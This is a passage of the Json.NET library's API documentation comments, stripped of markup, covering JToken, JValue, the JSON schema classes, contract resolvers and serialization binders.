indicates whether an error should be thrown if - no tokens are found when evaluating part of the expression. - - - - - Represents an abstract JSON token. - - - - - Gets a comparer that can compare two tokens for value equality. - - A that can compare two nodes for value equality. - - - - Gets or sets the parent. - - The parent. - - - - Gets the root of this . - - The root of this . - - - - Gets the node type for this . - - The type. - - - - Gets a value indicating whether this token has child tokens. - - - true if this token has child values; otherwise, false. - - - - - Compares the values of two tokens, including the values of all descendant tokens. - - The first to compare. - The second to compare. - true if the tokens are equal; otherwise false. - - - - Gets the next sibling token of this node. - - The that contains the next sibling token. - - - - Gets the previous sibling token of this node. - - The that contains the previous sibling token. - - - - Gets the path of the JSON token. - - - - - Adds the specified content immediately after this token. - - A content object that contains simple content or a collection of content objects to be added after this token. - - - - Adds the specified content immediately before this token. - - A content object that contains simple content or a collection of content objects to be added before this token. - - - - Returns a collection of the ancestor tokens of this token. - - A collection of the ancestor tokens of this token. - - - - Returns a collection of tokens that contain this token, and the ancestors of this token. - - A collection of tokens that contain this token, and the ancestors of this token. - - - - Returns a collection of the sibling tokens after this token, in document order. - - A collection of the sibling tokens after this tokens, in document order. - - - - Returns a collection of the sibling tokens before this token, in document order. - - A collection of the sibling tokens before this token, in document order. - - - - Gets the with the specified key. - - The with the specified key. - - - - Gets the with the specified key converted to the specified type. - - The type to convert the token to. - The token key. - The converted token value. - - - - Get the first child token of this token. - - A containing the first child token of the . - - - - Get the last child token of this token. - - A containing the last child token of the . - - - - Returns a collection of the child tokens of this token, in document order. - - An of containing the child tokens of this , in document order. - - - - Returns a collection of the child tokens of this token, in document order, filtered by the specified type. - - The type to filter the child tokens on. - A containing the child tokens of this , in document order. - - - - Returns a collection of the child values of this token, in document order. - - The type to convert the values to. - A containing the child values of this , in document order. - - - - Removes this token from its parent. - - - - - Replaces this token with the specified token. - - The value. - - - - Writes this token to a . - - A into which this method will write. - A collection of which will be used when writing the token. - - - - Returns the indented JSON for this token. - - - ToString() returns a non-JSON string value for tokens with a type of . - If you want the JSON for all token types then you should use . - - - The indented JSON for this token. - - - - - Returns the JSON for this token using the given formatting and converters. - - Indicates how the output should be formatted. - A collection of s which will be used when writing the token. - The JSON for this token using the given formatting and converters. - - - - Performs an explicit conversion from to . - - The value. - The result of the conversion. - - - - Performs an explicit conversion from to of . - - The value. - The result of the conversion. - - - - Performs an explicit conversion from to of . - - The value. - The result of the conversion. - - - - Performs an explicit conversion from to of . - - The value. - The result of the conversion. - - - - Performs an explicit conversion from to of . - - The value. - The result of the conversion. - - - - Performs an explicit conversion from to of . - - The value. - The result of the conversion. - - - - Performs an explicit conversion from to of . - - The value. - The result of the conversion. - - - - Performs an explicit conversion from to . - - The value. - The result of the conversion. - - - - Performs an explicit conversion from to . - - The value. - The result of the conversion. - - - - Performs an explicit conversion from to . - - The value. - The result of the conversion. - - - - Performs an explicit conversion from to . - - The value. - The result of the conversion. - - - - Performs an explicit conversion from to . - - The value. - The result of the conversion. - - - - Performs an explicit conversion from to . - - The value. - The result of the conversion. - - - - Performs an explicit conversion from to of . - - The value. - The result of the conversion. - - - - Performs an explicit conversion from to of . - - The value. - The result of the conversion. - - - - Performs an explicit conversion from to of . - - The value. - The result of the conversion. - - - - Performs an explicit conversion from to of . - - The value. - The result of the conversion. - - - - Performs an explicit conversion from to of . - - The value. - The result of the conversion. - - - - Performs an explicit conversion from to of . - - The value. - The result of the conversion. - - - - Performs an explicit conversion from to of . - - The value. - The result of the conversion. - - - - Performs an explicit conversion from to of . - - The value. - The result of the conversion. - - - - Performs an explicit conversion from to . - - The value. - The result of the conversion. - - - - Performs an explicit conversion from to of . - - The value. - The result of the conversion. - - - - Performs an explicit conversion from to of . - - The value. - The result of the conversion. - - - - Performs an explicit conversion from to . - - The value. - The result of the conversion. - - - - Performs an explicit conversion from to . - - The value. - The result of the conversion. - - - - Performs an explicit conversion from to . - - The value. - The result of the conversion. - - - - Performs an explicit conversion from to . - - The value. - The result of the conversion. - - - - Performs an explicit conversion from to . - - The value. - The result of the conversion. - - - - Performs an explicit conversion from to []. - - The value. - The result of the conversion. - - - - Performs an explicit conversion from to . - - The value. - The result of the conversion. - - - - Performs an explicit conversion from to of . - - The value. - The result of the conversion. - - - - Performs an explicit conversion from to . - - The value. - The result of the conversion. - - - - Performs an explicit conversion from to of . - - The value. - The result of the conversion. - - - - Performs an explicit conversion from to . - - The value. - The result of the conversion. - - - - Performs an implicit conversion from to . - - The value to create a from. - The initialized with the specified value. - - - - Performs an implicit conversion from to . - - The value to create a from. - The initialized with the specified value. - - - - Performs an implicit conversion from of to . - - The value to create a from. - The initialized with the specified value. - - - - Performs an implicit conversion from to . - - The value to create a from. - The initialized with the specified value. - - - - Performs an implicit conversion from of to . - - The value to create a from. - The initialized with the specified value. - - - - Performs an implicit conversion from of to . - - The value to create a from. - The initialized with the specified value. - - - - Performs an implicit conversion from of to . - - The value to create a from. - The initialized with the specified value. - - - - Performs an implicit conversion from of to . - - The value to create a from. - The initialized with the specified value. - - - - Performs an implicit conversion from of to . - - The value to create a from. - The initialized with the specified value. - - - - Performs an implicit conversion from of to . - - The value to create a from. - The initialized with the specified value. - - - - Performs an implicit conversion from to . - - The value to create a from. - The initialized with the specified value. - - - - Performs an implicit conversion from to . - - The value to create a from. - The initialized with the specified value. - - - - Performs an implicit conversion from to . - - The value to create a from. - The initialized with the specified value. - - - - Performs an implicit conversion from of to . - - The value to create a from. - The initialized with the specified value. - - - - Performs an implicit conversion from to . - - The value to create a from. - The initialized with the specified value. - - - - Performs an implicit conversion from of to . - - The value to create a from. - The initialized with the specified value. - - - - Performs an implicit conversion from of to . - - The value to create a from. - The initialized with the specified value. - - - - Performs an implicit conversion from to . - - The value to create a from. - The initialized with the specified value. - - - - Performs an implicit conversion from of to . - - The value to create a from. - The initialized with the specified value. - - - - Performs an implicit conversion from of to . - - The value to create a from. - The initialized with the specified value. - - - - Performs an implicit conversion from of to . - - The value to create a from. - The initialized with the specified value. - - - - Performs an implicit conversion from of to . - - The value to create a from. - The initialized with the specified value. - - - - Performs an implicit conversion from to . - - The value to create a from. - The initialized with the specified value. - - - - Performs an implicit conversion from to . - - The value to create a from. - The initialized with the specified value. - - - - Performs an implicit conversion from to . - - The value to create a from. - The initialized with the specified value. - - - - Performs an implicit conversion from to . - - The value to create a from. - The initialized with the specified value. - - - - Performs an implicit conversion from to . - - The value to create a from. - The initialized with the specified value. - - - - Performs an implicit conversion from [] to . - - The value to create a from. - The initialized with the specified value. - - - - Performs an implicit conversion from to . - - The value to create a from. - The initialized with the specified value. - - - - Performs an implicit conversion from to . - - The value to create a from. - The initialized with the specified value. - - - - Performs an implicit conversion from of to . - - The value to create a from. - The initialized with the specified value. - - - - Performs an implicit conversion from to . - - The value to create a from. - The initialized with the specified value. - - - - Performs an implicit conversion from of to . - - The value to create a from. - The initialized with the specified value. - - - - Creates a for this token. - - A that can be used to read this token and its descendants. - - - - Creates a from an object. - - The object that will be used to create . - A with the value of the specified object. - - - - Creates a from an object using the specified . - - The object that will be used to create . - The that will be used when reading the object. - A with the value of the specified object. - - - - Creates an instance of the specified .NET type from the . - - The object type that the token will be deserialized to. - The new object created from the JSON value. - - - - Creates an instance of the specified .NET type from the . - - The object type that the token will be deserialized to. - The new object created from the JSON value. - - - - Creates an instance of the specified .NET type from the using the specified . - - The object type that the token will be deserialized to. - The that will be used when creating the object. - The new object created from the JSON value. - - - - Creates an instance of the specified .NET type from the using the specified . - - The object type that the token will be deserialized to. - The that will be used when creating the object. - The new object created from the JSON value. - - - - Creates a from a . - - A positioned at the token to read into this . - - A that contains the token and its descendant tokens - that were read from the reader. The runtime type of the token is determined - by the token type of the first token encountered in the reader. - - - - - Creates a from a . - - An positioned at the token to read into this . - The used to load the JSON. - If this is null, default load settings will be used. - - A that contains the token and its descendant tokens - that were read from the reader. The runtime type of the token is determined - by the token type of the first token encountered in the reader. - - - - - Load a from a string that contains JSON. - - A that contains JSON. - A populated from the string that contains JSON. - - - - Load a from a string that contains JSON. - - A that contains JSON. - The used to load the JSON. - If this is null, default load settings will be used. - A populated from the string that contains JSON. - - - - Creates a from a . - - A positioned at the token to read into this . - The used to load the JSON. - If this is null, default load settings will be used. - - A that contains the token and its descendant tokens - that were read from the reader. The runtime type of the token is determined - by the token type of the first token encountered in the reader. - - - - - Creates a from a . - - A positioned at the token to read into this . - - A that contains the token and its descendant tokens - that were read from the reader. The runtime type of the token is determined - by the token type of the first token encountered in the reader. - - - - - Selects a using a JSONPath expression. Selects the token that matches the object path. - - - A that contains a JSONPath expression. - - A , or null. - - - - Selects a using a JSONPath expression. Selects the token that matches the object path. - - - A that contains a JSONPath expression. - - A flag to indicate whether an error should be thrown if no tokens are found when evaluating part of the expression. - A . - - - - Selects a using a JSONPath expression. Selects the token that matches the object path. - - - A that contains a JSONPath expression. - - The used to select tokens. - A . - - - - Selects a collection of elements using a JSONPath expression. - - - A that contains a JSONPath expression. - - An of that contains the selected elements. - - - - Selects a collection of elements using a JSONPath expression. - - - A that contains a JSONPath expression. - - A flag to indicate whether an error should be thrown if no tokens are found when evaluating part of the expression. - An of that contains the selected elements. - - - - Selects a collection of elements using a JSONPath expression. - - - A that contains a JSONPath expression. - - The used to select tokens. - An of that contains the selected elements. - - - - Creates a new instance of the . All child tokens are recursively cloned. - - A new instance of the . - - - - Creates a new instance of the . All child tokens are recursively cloned. - - A object to configure cloning settings. - A new instance of the . - - - - Adds an object to the annotation list of this . - - The annotation to add. - - - - Get the first annotation object of the specified type from this . - - The type of the annotation to retrieve. - The first annotation object that matches the specified type, or null if no annotation is of the specified type. - - - - Gets the first annotation object of the specified type from this . - - The of the annotation to retrieve. - The first annotation object that matches the specified type, or null if no annotation is of the specified type. - - - - Gets a collection of annotations of the specified type for this . - - The type of the annotations to retrieve. - An that contains the annotations for this . - - - - Gets a collection of annotations of the specified type for this . - - The of the annotations to retrieve. - An of that contains the annotations that match the specified type for this . - - - - Removes the annotations of the specified type from this . - - The type of annotations to remove. - - - - Removes the annotations of the specified type from this . - - The of annotations to remove. - - - - Compares tokens to determine whether they are equal. - - - - - Determines whether the specified objects are equal. - - The first object of type to compare. - The second object of type to compare. - - true if the specified objects are equal; otherwise, false. - - - - - Returns a hash code for the specified object. - - The for which a hash code is to be returned. - A hash code for the specified object. - The type of is a reference type and is null. - - - - Represents a reader that provides fast, non-cached, forward-only access to serialized JSON data. - - - - - Gets the at the reader's current position. - - - - - Initializes a new instance of the class. - - The token to read from. - - - - Initializes a new instance of the class. - - The token to read from. - The initial path of the token. It is prepended to the returned . - - - - Reads the next JSON token from the underlying . - - - true if the next token was read successfully; false if there are no more tokens to read. - - - - - Gets the path of the current JSON token. - - - - - Specifies the type of token. - - - - - No token type has been set. - - - - - A JSON object. - - - - - A JSON array. - - - - - A JSON constructor. - - - - - A JSON object property. - - - - - A comment. - - - - - An integer value. - - - - - A float value. - - - - - A string value. - - - - - A boolean value. - - - - - A null value. - - - - - An undefined value. - - - - - A date value. - - - - - A raw JSON value. - - - - - A collection of bytes value. - - - - - A Guid value. - - - - - A Uri value. - - - - - A TimeSpan value. - - - - - Represents a writer that provides a fast, non-cached, forward-only way of generating JSON data. - - - - - Gets the at the writer's current position. - - - - - Gets the token being written. - - The token being written. - - - - Initializes a new instance of the class writing to the given . - - The container being written to. - - - - Initializes a new instance of the class. - - - - - Flushes whatever is in the buffer to the underlying . - - - - - Closes this writer. - If is set to true, the JSON is auto-completed. - - - Setting to true has no additional effect, since the underlying is a type that cannot be closed. - - - - - Writes the beginning of a JSON object. - - - - - Writes the beginning of a JSON array. - - - - - Writes the start of a constructor with the given name. - - The name of the constructor. - - - - Writes the end. - - The token. - - - - Writes the property name of a name/value pair on a JSON object. - - The name of the property. - - - - Writes a value. - An error will be raised if the value cannot be written as a single JSON token. - - The value to write. - - - - Writes a null value. - - - - - Writes an undefined value. - - - - - Writes raw JSON. - - The raw JSON to write. - - - - Writes a comment /*...*/ containing the specified text. - - Text to place inside the comment. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a [] value. - - The [] value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Represents a value in JSON (string, integer, date, etc). - - - - - Initializes a new instance of the class from another object. - - A object to copy from. - - - - Initializes a new instance of the class with the given value. - - The value. - - - - Initializes a new instance of the class with the given value. - - The value. - - - - Initializes a new instance of the class with the given value. - - The value. - - - - Initializes a new instance of the class with the given value. - - The value. - - - - Initializes a new instance of the class with the given value. - - The value. - - - - Initializes a new instance of the class with the given value. - - The value. - - - - Initializes a new instance of the class with the given value. - - The value. - - - - Initializes a new instance of the class with the given value. - - The value. - - - - Initializes a new instance of the class with the given value. - - The value. - - - - Initializes a new instance of the class with the given value. - - The value. - - - - Initializes a new instance of the class with the given value. - - The value. - - - - Initializes a new instance of the class with the given value. - - The value. - - - - Initializes a new instance of the class with the given value. - - The value. - - - - Gets a value indicating whether this token has child tokens. - - - true if this token has child values; otherwise, false. - - - - - Creates a comment with the given value. - - The value. - A comment with the given value. - - - - Creates a string with the given value. - - The value. - A string with the given value. - - - - Creates a null value. - - A null value. - - - - Creates a undefined value. - - A undefined value. - - - - Gets the node type for this . - - The type. - - - - Gets or sets the underlying token value. - - The underlying token value. - - - - Writes this token to a . - - A into which this method will write. - A collection of s which will be used when writing the token. - - - - Indicates whether the current object is equal to another object of the same type. - - - true if the current object is equal to the parameter; otherwise, false. - - An object to compare with this object. - - - - Determines whether the specified is equal to the current . - - The to compare with the current . - - true if the specified is equal to the current ; otherwise, false. - - - - - Serves as a hash function for a particular type. - - - A hash code for the current . - - - - - Returns a that represents this instance. - - - ToString() returns a non-JSON string value for tokens with a type of . - If you want the JSON for all token types then you should use . - - - A that represents this instance. - - - - - Returns a that represents this instance. - - The format. - - A that represents this instance. - - - - - Returns a that represents this instance. - - The format provider. - - A that represents this instance. - - - - - Returns a that represents this instance. - - The format. - The format provider. - - A that represents this instance. - - - - - Compares the current instance with another object of the same type and returns an integer that indicates whether the current instance precedes, follows, or occurs in the same position in the sort order as the other object. - - An object to compare with this instance. - - A 32-bit signed integer that indicates the relative order of the objects being compared. The return value has these meanings: - Value - Meaning - Less than zero - This instance is less than . - Zero - This instance is equal to . - Greater than zero - This instance is greater than . - - - is not of the same type as this instance. - - - - - Specifies how line information is handled when loading JSON. - - - - - Ignore line information. - - - - - Load line information. - - - - - Specifies how JSON arrays are merged together. - - - - Concatenate arrays. - - - Union arrays, skipping items that already exist. - - - Replace all array items. - - - Merge array items together, matched by index. - - - - Specifies how null value properties are merged. - - - - - The content's null value properties will be ignored during merging. - - - - - The content's null value properties will be merged. - - - - - Specifies the member serialization options for the . - - - - - All public members are serialized by default. Members can be excluded using or . - This is the default member serialization mode. - - - - - Only members marked with or are serialized. - This member serialization mode can also be set by marking the class with . - - - - - All public and private fields are serialized. Members can be excluded using or . - This member serialization mode can also be set by marking the class with - and setting IgnoreSerializableAttribute on to false. - - - - - Specifies metadata property handling options for the . - - - - - Read metadata properties located at the start of a JSON object. - - - - - Read metadata properties located anywhere in a JSON object. Note that this setting will impact performance. - - - - - Do not try to read metadata properties. - - - - - Specifies missing member handling options for the . - - - - - Ignore a missing member and do not attempt to deserialize it. - - - - - Throw a when a missing member is encountered during deserialization. - - - - - Specifies null value handling options for the . - - - - - - - - - Include null values when serializing and deserializing objects. - - - - - Ignore null values when serializing and deserializing objects. - - - - - Specifies how object creation is handled by the . - - - - - Reuse existing objects, create new objects when needed. - - - - - Only reuse existing objects. - - - - - Always create new objects. - - - - - Specifies reference handling options for the . - Note that references cannot be preserved when a value is set via a non-default constructor such as types that implement . - - - - - - - - Do not preserve references when serializing types. - - - - - Preserve references when serializing into a JSON object structure. - - - - - Preserve references when serializing into a JSON array structure. - - - - - Preserve references when serializing. - - - - - Specifies reference loop handling options for the . - - - - - Throw a when a loop is encountered. - - - - - Ignore loop references and do not serialize. - - - - - Serialize loop references. - - - - - Indicating whether a property is required. - - - - - The property is not required. The default state. - - - - - The property must be defined in JSON but can be a null value. - - - - - The property must be defined in JSON and cannot be a null value. - - - - - The property is not required but it cannot be a null value. - - - - - - Contains the JSON schema extension methods. - - - JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. - - - - - - - Determines whether the is valid. - - - JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. - - - The source to test. - The schema to test with. - - true if the specified is valid; otherwise, false. - - - - - - Determines whether the is valid. - - - JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. - - - The source to test. - The schema to test with. - When this method returns, contains any error messages generated while validating. - - true if the specified is valid; otherwise, false. - - - - - - Validates the specified . - - - JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. - - - The source to test. - The schema to test with. - - - - - Validates the specified . - - - JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. - - - The source to test. - The schema to test with. - The validation event handler. - - - - - An in-memory representation of a JSON Schema. - - - JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. - - - - - - Gets or sets the id. - - - - - Gets or sets the title. - - - - - Gets or sets whether the object is required. - - - - - Gets or sets whether the object is read-only. - - - - - Gets or sets whether the object is visible to users. - - - - - Gets or sets whether the object is transient. - - - - - Gets or sets the description of the object. - - - - - Gets or sets the types of values allowed by the object. - - The type. - - - - Gets or sets the pattern. - - The pattern. - - - - Gets or sets the minimum length. - - The minimum length. - - - - Gets or sets the maximum length. - - The maximum length. - - - - Gets or sets a number that the value should be divisible by. - - A number that the value should be divisible by. - - - - Gets or sets the minimum. - - The minimum. - - - - Gets or sets the maximum. - - The maximum. - - - - Gets or sets a flag indicating whether the value can not equal the number defined by the minimum attribute (). - - A flag indicating whether the value can not equal the number defined by the minimum attribute (). - - - - Gets or sets a flag indicating whether the value can not equal the number defined by the maximum attribute (). - - A flag indicating whether the value can not equal the number defined by the maximum attribute (). - - - - Gets or sets the minimum number of items. - - The minimum number of items. - - - - Gets or sets the maximum number of items. - - The maximum number of items. - - - - Gets or sets the of items. - - The of items. - - - - Gets or sets a value indicating whether items in an array are validated using the instance at their array position from . - - - true if items are validated using their array position; otherwise, false. - - - - - Gets or sets the of additional items. - - The of additional items. - - - - Gets or sets a value indicating whether additional items are allowed. - - - true if additional items are allowed; otherwise, false. - - - - - Gets or sets whether the array items must be unique. - - - - - Gets or sets the of properties. - - The of properties. - - - - Gets or sets the of additional properties. - - The of additional properties. - - - - Gets or sets the pattern properties. - - The pattern properties. - - - - Gets or sets a value indicating whether additional properties are allowed. - - - true if additional properties are allowed; otherwise, false. - - - - - Gets or sets the required property if this property is present. - - The required property if this property is present. - - - - Gets or sets the a collection of valid enum values allowed. - - A collection of valid enum values allowed. - - - - Gets or sets disallowed types. - - The disallowed types. - - - - Gets or sets the default value. - - The default value. - - - - Gets or sets the collection of that this schema extends. - - The collection of that this schema extends. - - - - Gets or sets the format. - - The format. - - - - Initializes a new instance of the class. - - - - - Reads a from the specified . - - The containing the JSON Schema to read. - The object representing the JSON Schema. - - - - Reads a from the specified . - - The containing the JSON Schema to read. - The to use when resolving schema references. - The object representing the JSON Schema. - - - - Load a from a string that contains JSON Schema. - - A that contains JSON Schema. - A populated from the string that contains JSON Schema. - - - - Load a from a string that contains JSON Schema using the specified . - - A that contains JSON Schema. - The resolver. - A populated from the string that contains JSON Schema. - - - - Writes this schema to a . - - A into which this method will write. - - - - Writes this schema to a using the specified . - - A into which this method will write. - The resolver used. - - - - Returns a that represents the current . - - - A that represents the current . - - - - - - Returns detailed information about the schema exception. - - - JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. - - - - - - Gets the line number indicating where the error occurred. - - The line number indicating where the error occurred. - - - - Gets the line position indicating where the error occurred. - - The line position indicating where the error occurred. - - - - Gets the path to the JSON where the error occurred. - - The path to the JSON where the error occurred. - - - - Initializes a new instance of the class. - - - - - Initializes a new instance of the class - with a specified error message. - - The error message that explains the reason for the exception. - - - - Initializes a new instance of the class - with a specified error message and a reference to the inner exception that is the cause of this exception. - - The error message that explains the reason for the exception. - The exception that is the cause of the current exception, or null if no inner exception is specified. - - - - Initializes a new instance of the class. - - The that holds the serialized object data about the exception being thrown. - The that contains contextual information about the source or destination. - The parameter is null. - The class name is null or is zero (0). - - - - - Generates a from a specified . - - - JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. - - - - - - Gets or sets how undefined schemas are handled by the serializer. - - - - - Gets or sets the contract resolver. - - The contract resolver. - - - - Generate a from the specified type. - - The type to generate a from. - A generated from the specified type. - - - - Generate a from the specified type. - - The type to generate a from. - The used to resolve schema references. - A generated from the specified type. - - - - Generate a from the specified type. - - The type to generate a from. - Specify whether the generated root will be nullable. - A generated from the specified type. - - - - Generate a from the specified type. - - The type to generate a from. - The used to resolve schema references. - Specify whether the generated root will be nullable. - A generated from the specified type. - - - - - Resolves from an id. - - - JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. - - - - - - Gets or sets the loaded schemas. - - The loaded schemas. - - - - Initializes a new instance of the class. - - - - - Gets a for the specified reference. - - The id. - A for the specified reference. - - - - - The value types allowed by the . - - - JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. - - - - - - No type specified. - - - - - String type. - - - - - Float type. - - - - - Integer type. - - - - - Boolean type. - - - - - Object type. - - - - - Array type. - - - - - Null type. - - - - - Any type. - - - - - - Specifies undefined schema Id handling options for the . - - - JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. - - - - - - Do not infer a schema Id. - - - - - Use the .NET type name as the schema Id. - - - - - Use the assembly qualified .NET type name as the schema Id. - - - - - - Returns detailed information related to the . - - - JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. - - - - - - Gets the associated with the validation error. - - The JsonSchemaException associated with the validation error. - - - - Gets the path of the JSON location where the validation error occurred. - - The path of the JSON location where the validation error occurred. - - - - Gets the text description corresponding to the validation error. - - The text description. - - - - - Represents the callback method that will handle JSON schema validation events and the . - - - JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. - - - - - - A camel case naming strategy. - - - - - Initializes a new instance of the class. - - - A flag indicating whether dictionary keys should be processed. - - - A flag indicating whether explicitly specified property names should be processed, - e.g. a property name customized with a . - - - - - Initializes a new instance of the class. - - - A flag indicating whether dictionary keys should be processed. - - - A flag indicating whether explicitly specified property names should be processed, - e.g. a property name customized with a . - - - A flag indicating whether extension data names should be processed. - - - - - Initializes a new instance of the class. - - - - - Resolves the specified property name. - - The property name to resolve. - The resolved property name. - - - - Resolves member mappings for a type, camel casing property names. - - - - - Initializes a new instance of the class. - - - - - Resolves the contract for a given type. - - The type to resolve a contract for. - The contract for a given type. - - - - Used by to resolve a for a given . - - - - - Gets a value indicating whether members are being get and set using dynamic code generation. - This value is determined by the runtime permissions available. - - - true if using dynamic code generation; otherwise, false. - - - - - Gets or sets the default members search flags. - - The default members search flags. - - - - Gets or sets a value indicating whether compiler generated members should be serialized. - - - true if serialized compiler generated members; otherwise, false. - - - - - Gets or sets a value indicating whether to ignore the interface when serializing and deserializing types. - - - true if the interface will be ignored when serializing and deserializing types; otherwise, false. - - - - - Gets or sets a value indicating whether to ignore the attribute when serializing and deserializing types. - - - true if the attribute will be ignored when serializing and deserializing types; otherwise, false. - - - - - Gets or sets a value indicating whether to ignore IsSpecified members when serializing and deserializing types. - - - true if the IsSpecified members will be ignored when serializing and deserializing types; otherwise, false. - - - - - Gets or sets a value indicating whether to ignore ShouldSerialize members when serializing and deserializing types. - - - true if the ShouldSerialize members will be ignored when serializing and deserializing types; otherwise, false. - - - - - Gets or sets the naming strategy used to resolve how property names and dictionary keys are serialized. - - The naming strategy used to resolve how property names and dictionary keys are serialized. - - - - Initializes a new instance of the class. - - - - - Resolves the contract for a given type. - - The type to resolve a contract for. - The contract for a given type. - - - - Gets the serializable members for the type. - - The type to get serializable members for. - The serializable members for the type. - - - - Creates a for the given type. - - Type of the object. - A for the given type. - - - - Creates the constructor parameters. - - The constructor to create properties for. - The type's member properties. - Properties for the given . - - - - Creates a for the given . - - The matching member property. - The constructor parameter. - A created for the given . - - - - Resolves the default for the contract. - - Type of the object. - The contract's default . - - - - Creates a for the given type. - - Type of the object. - A for the given type. - - - - Creates a for the given type. - - Type of the object. - A for the given type. - - - - Creates a for the given type. - - Type of the object. - A for the given type. - - - - Creates a for the given type. - - Type of the object. - A for the given type. - - - - Creates a for the given type. - - Type of the object. - A for the given type. - - - - Creates a for the given type. - - Type of the object. - A for the given type. - - - - Determines which contract type is created for the given type. - - Type of the object. - A for the given type. - - - - Creates properties for the given . - - The type to create properties for. - /// The member serialization mode for the type. - Properties for the given . - - - - Creates the used by the serializer to get and set values from a member. - - The member. - The used by the serializer to get and set values from a member. - - - - Creates a for the given . - - The member's parent . - The member to create a for. - A created for the given . - - - - Resolves the name of the property. - - Name of the property. - Resolved name of the property. - - - - Resolves the name of the extension data. By default no changes are made to extension data names. - - Name of the extension data. - Resolved name of the extension data. - - - - Resolves the key of the dictionary. By default is used to resolve dictionary keys. - - Key of the dictionary. - Resolved key of the dictionary. - - - - Gets the resolved name of the property. - - Name of the property. - Name of the property. - - - - The default naming strategy. Property names and dictionary keys are unchanged. - - - - - Resolves the specified property name. - - The property name to resolve. - The resolved property name. - - - - The default serialization binder used when resolving and loading classes from type names. - - - - - Initializes a new instance of the class. - - - - - When overridden in a derived class, controls the binding of a serialized object to a type. - - Specifies the name of the serialized object. - Specifies the name of the serialized object. - - The type of the object the formatter creates a new instance of. - - - - - When overridden in a derived class, controls the binding of a serialized object to a type. - - The type of the object the formatter creates a new instance of. - Specifies the name of the serialized object. - Specifies the name of the serialized object. - - - - Represents a trace writer that writes to the application's instances. - - - - - Gets the that will be used to filter the trace messages passed to the writer. - For example a filter level of will exclude messages and include , - and messages. - - - The that will be used to filter the trace messages passed to the writer. - - - - - Writes the specified trace level, message and optional exception. - - The at which to write this trace. - The trace message. - The trace exception. This parameter is optional. - - - - Get and set values for a using dynamic methods. - - - - - Initializes a new instance of the class. - - The member info. - - - - Sets the value. - - The target to set the value on. - The value to set on the target. - - - - Gets the value. - - The target to get the value from. - The value. - - - - Provides information surrounding an error. - - - - - Gets the error. - - The error. - - - - Gets the original object that caused the error. - - The original object that caused the error. - - - - Gets the member that caused the error. - - The member that caused the error. - - - - Gets the path of the JSON location where the error occurred. - - The path of the JSON location where the error occurred. - - - - Gets or sets a value indicating whether this is handled. - - true if handled; otherwise, false. - - - - Provides data for the Error event. - - - - - Gets the current object the error event is being raised against. - - The current object the error event is being raised against. - - - - Gets the error context. - - The error context. - - - - Initializes a new instance of the class. - - The current object. - The error context. - - - - Provides methods to get attributes. - - - - - Returns a collection of all of the attributes, or an empty collection if there are no attributes. - - When true, look up the hierarchy chain for the inherited custom attribute. - A collection of s, or an empty collection. - - - - Returns a collection of attributes, identified by type, or an empty collection if there are no attributes. - - The type of the attributes. - When true, look up the hierarchy chain for the inherited custom attribute. - A collection of s, or an empty collection. - - - - Used by to resolve a for a given . - - - - - - - - - Resolves the contract for a given type. - - The type to resolve a contract for. - The contract for a given type. - - - - Used to resolve references when serializing and deserializing JSON by the . - - - - - Resolves a reference to its object. - - The serialization context. - The reference to resolve. - The object that was resolved from the reference. - - - - Gets the reference for the specified object. - - The serialization context. - The object to get a reference for. - The reference to the object. - - - - Determines whether the specified object is referenced. - - The serialization context. - The object to test for a reference. - - true if the specified object is referenced; otherwise, false. - - - - - Adds a reference to the specified object. - - The serialization context. - The reference. - The object to reference. - - - - Allows users to control class loading and mandate what class to load. - - - - - When implemented, controls the binding of a serialized object to a type. - - Specifies the name of the serialized object. - Specifies the name of the serialized object - The type of the object the formatter creates a new instance of. - - - - When implemented, controls the binding of a serialized object to a type. - - The type of the object the formatter creates a new instance of. - Specifies the name of the serialized object. - Specifies the name of the serialized object. - - - - Represents a trace writer. - - - - - Gets the that will be used to filter the trace messages passed to the writer. - For example a filter level of will exclude messages and include , - and messages. - - The that will be used to filter the trace messages passed to the writer. - - - - Writes the specified trace level, message and optional exception. - - The at which to write this trace. - The trace message. - The trace exception. This parameter is optional. - - - - Provides methods to get and set values. - - - - - Sets the value. - - The target to set the value on. - The value to set on the target. - - - - Gets the value. - - The target to get the value from. - The value. - - - - Contract details for a used by the . - - - - - Gets the of the collection items. - - The of the collection items. - - - - Gets a value indicating whether the collection type is a multidimensional array. - - true if the collection type is a multidimensional array; otherwise, false. - - - - Gets or sets the function used to create the object. When set this function will override . - - The function used to create the object. - - - - Gets a value indicating whether the creator has a parameter with the collection values. - - true if the creator has a parameter with the collection values; otherwise, false. - - - - Initializes a new instance of the class. - - The underlying type for the contract. - - - - Contract details for a used by the . - - - - - Gets or sets the default collection items . - - The converter. - - - - Gets or sets a value indicating whether the collection items preserve object references. - - true if collection items preserve object references; otherwise, false. - - - - Gets or sets the collection item reference loop handling. - - The reference loop handling. - - - - Gets or sets the collection item type name handling. - - The type name handling. - - - - Initializes a new instance of the class. - - The underlying type for the contract. - - - - Handles serialization callback events. - - The object that raised the callback event. - The streaming context. - - - - Handles serialization error callback events. - - The object that raised the callback event. - The streaming context. - The error context. - - - - Sets extension 